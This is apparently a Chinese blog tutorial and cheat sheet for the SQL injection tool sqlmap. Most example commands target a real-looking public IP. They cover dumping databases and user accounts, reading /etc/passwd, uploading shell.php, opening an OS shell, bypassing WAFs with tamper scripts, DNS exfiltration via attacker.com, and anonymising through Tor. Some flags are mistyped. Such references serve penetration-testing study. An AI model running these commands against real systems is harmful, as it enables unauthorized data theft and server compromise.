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网络安全工具篇之Sqlmap(史上最全,收藏这篇就够了)

本文主要是介绍网络安全工具篇之Sqlmap(史上最全,收藏这篇就够了),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、Sqlmap介绍

  • 开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。

  • 检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入

  • 支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

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二、基本参数

1.—update: 更新

python sqlmap.py —update

  1. -h:查看常用参数

python sqlmap.py -h

  1. -hh:查看全部参数

python sqlmap.py -h

  1. —version:查看版本

python sqlmap.py —version

  1. -v:查看执行过程信息,默认是1,一共 0 ~ 6

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3

  1. -d : mysql表示数据库类型、user:password表示目标服务器的账号和密码,@后表示要连接的服务器,3306表示端口,zakq_ dababasename表示连接的数据库名称

python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”

  1. —wizard : 向导式

python sqlmap.py —wizard

三.确定目标 

  1. -u “URL” : 指定URL,get请求方式

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“

  1. -m url.txt ::使用一个包含多个url的文件进行扫描。若有重复,sqlmap会自动识别成一个。

python sqlmap.py -m url.txt

  1. -g :扫描,使用Google语法得到的url。

python sqlmap.py -g “inurl:\”.php?id=1\”

  1. -r request.txt : Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。(BurpSuit抓包—>将请求复制到txt中即可)

python sqlmap.py -r request.txt

  1. -l log.txt —scope=”正则表达式” :Post提交方式,使用BurpSuit的log文件。(Options—>Misc—>Logging—>Proxy—>勾选Request ,scope的作用是 基于正则表达式去过滤日志内容,筛选需要扫描的对象。

python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”

  1. -c sqlmap.conf :使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)

python sqlmap.py -c sqlmap.conf

  1. -u “URL” : 对于这种写法,加*号扫描

python sqlmap.py -u “http://target_url/param1/value1*/param2/value2“

四.配置目标参数 

  1. -p :指定要扫描的参数

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”

  1. —skip: 排除指定的扫描参数

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”

  1. —data: 指定扫描的参数,get/post都适用

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

  1. —param-del:改变分隔符,默认是&,因为有些网站不实用&传递多个数据。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”

  1. —cookie :使用cookie的身份认证

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”

  1. —drop-set-cookie: 有时候发起请求后,服务器端会重新Set-cookie给客户端,SQLmap默认会使用新的cookie,这时候可以设置此参数,表示还是用原来的cookie。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”

  1. —user-agent :使用浏览器代理头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”

  1. —random-agent: 使用随机的浏览器代理头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent

  1. —host :指定主机头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”

  1. —referer=”aaaaaa” : 指定referer头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”

  1. —headers :有些网站需要特定的头来身份验证

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”

  1. —method :指定请求方式,还有POST

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET

  1. —auth-type , —auth-cred: 身份认证,还有Digest、NTLM

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”

  1. —auth-file=”ca.PEM” : 使用私钥证书去进行身份认证,还有个参数—auth-cert,暂时不知道怎么用,没遇到过

  2. —proxy :使用代理去扫描目标,代理软件占用的端口在8080

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“

  1. —proxy-cred:使用代理时的账号和密码

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”

  1. —ignore-proxy : 忽略系统级代理设置,通常用于扫描本地网络目标,本网段。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy

 

五、配置目标行为 

  1. —force-ssl:使用HTTPS连接进行扫描

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

  1. —delay:每次http请求之间的延迟时间,默认无延迟

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”

  1. —timeout:请求超时时间,浮点数,默认为30秒

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”

  1. —retries:http连接的重试次数,默认3次

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”

  1. —randomize:长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”

  1. —safe-url:检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”

  1. —safe-freq : 每发送多少次注入请求后,发送一次正常请求,配合—safe-url使用。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq

  1. —time-sec: 基于时间的注入检测相应延迟时间,默认5秒

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”

  1. —union-cols :默认联合查询1-10列,随—level增加,最多支持100列。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9

  1. —union-char:联合查询默认使用null,极端情况下可能失败,此时可以手动执行数值

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123

  1. —technique US : 指定检测注入时所用技术,默认情况下Sqlmap会使用自己支持的全部技术进行检测,有B、E、U、S、T、Q

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US

六、优化探测过程 

  1. —level 2:检测cookie中是否含有注入、3:检测user-agent、referer是否含有注入、5:检测host是否含有注入

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3

  1. —risk 默认1,最高4,等级高容易造成数据被篡改风险

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3

  1. —predict-output : 优化检测方法,不断比对大数据,缩小检测范围,提高效率,与—threads参数不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output

  1. —keep-alive : 长连接、性能好,避免重复建立的网络开销,但大量长连接会占用服务器资源。与—proxy参数不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive

  1. —null-connection : 只获取页面大小的值,通常用于盲注判断真假,与—text-only 不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection

  1. -o : 直接开启以上三个(—predict-output、—keep-alive、—null-connection)

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o

  1. —threads=7 :提高并发线程,默认为1,建议不要超过10,否则影响站点可用性,与—predict-out不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7

  1. —string=”woaini” : 页面比较,用于基于布尔注入的检测,因为有时候页面随时间阈值变化,此时需要人为指定标识真假的字符串,除此之外,还有—not-string=”woaini”、—code=200、—titles=”Welcome”等等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”

七、特定目标环境

  1. —skip-urlencode :默认get传参会使用URL编码,但有些服务器没按规范,使用原始字符提交数据。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode

  1. —eval :在提交前,对参数进行pyhton的处理,提升效率

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

  1. —dbms : 指定数据库类型,还可以加上版本 Mysql<5.0>

python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”

  1. —os : 指定操作系统,还可以是Linux

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”

  1. —invalid-bignum :sqlmap默认使用负值让参数进行失效,该参数使用最大值让参数失效,比如 id=9999999

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum

  1. —invalid-logical :使用布尔值,比如 id 13 and 18=19

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical

  1. —no-cast: 将sqlmap取出的数据转换为字符串,并用空格替换NULL结果,在老版本时需要开启此开关。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast

  1. —no-escape:为了逃逸服务器端对sqlmap的检测,默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape

  1. —prefix:添加前缀

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”

  1. —suffix :添加后缀

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”

  1. —tamper:使用脚本,绕过IPS、WAF等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”

  1. —dns-domain:攻击者控制了DNS服务器,可以提高取出数据的效率

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com

  1. —second-order:在一个页面注入的结果,从另外一个页面提现出来

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “1.1.1.1 — The free app that makes your Internet faster.“

八、查看基本信息

  1. -f :扫描时加入数据库指纹检测

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f

  1. -b : 查看数据库的版本信息

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b

九、查看数据信息

  1. —users : 查询所有的数据库账号

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users

  1. —dbs : 查询所有数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs

  1. —schema : 查询源数据库(包含定义数据的数据)

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema

  1. -a : 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a

  1. -D dvwa: 指定数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name

  1. —current-user : 查询当前数据库用户

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user

  1. —current-db : 查询当前数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db

  1. —hostname : 查看服务器的主机名

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname

  1. —Privileges -U username : 查询username的权限

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username

  1. —roles :查询角色

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles

  1. —tables : 查看所有的表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables

  1. -T : 指定表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name

  1. —columns : 查看所有的字段

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns

  1. -C : 指定字段

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name

  1. —count : 计数,查看有多少条数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count

  1. —exclude-sysdbs : 排除系统库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs

  1. —dump : 查看数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump

  1. —start 3 : 查看第三条

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3

  1. —end 4 : 查看第四条

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4

  1. —sql-query “select * from users” : 执行语句

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”

  1. —common-columns : 暴力破解字段,应用于两种情况:①无权限读取数据。②mysql<5.0 ,没有infomation_schema库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns

  1. —common-tables : 暴力破解表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables

十.其他参数

  1. —batch : 自动选是

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch

  1. —charset:强制字符编码

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK

  1. —crawl:爬站深度

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3

  1. —csv-del:指定csv文件的分隔符

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”

  1. —flush-session : 清空session

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session

  1. —force-ssl : 强制使用HTTPS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

  1. —fresh-queries : 重新检测,不使用本地已查询的数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries

  1. —hex : 以16进制的形式编码dump出来的数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex

  1. —parse-errors : 分析和显示数据库内建报错信息

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors

  1. —answer : 回答

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”

  1. —check-waf : 检测WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf

  1. —hpp : 绕过WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp

  1. —identify-waf : 彻底检测WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf

  1. —mobile : 模拟智能手机设备

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile

  1. —purge-output : 清除output文件夹

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output

  1. —smart : 当有大量检测目标时,只选择基于错误的检测结果

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart

十一.高级注入参数

  1. —file-read:文件系统访问

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”

  1. —file-write、—file-dest :写文件到目标位置

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”

  1. —sql-shell : 进入交互式mysql窗口

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell

  1. —os-shell : 进入命令行窗口

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell

  1. 使用Tor代理

sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor

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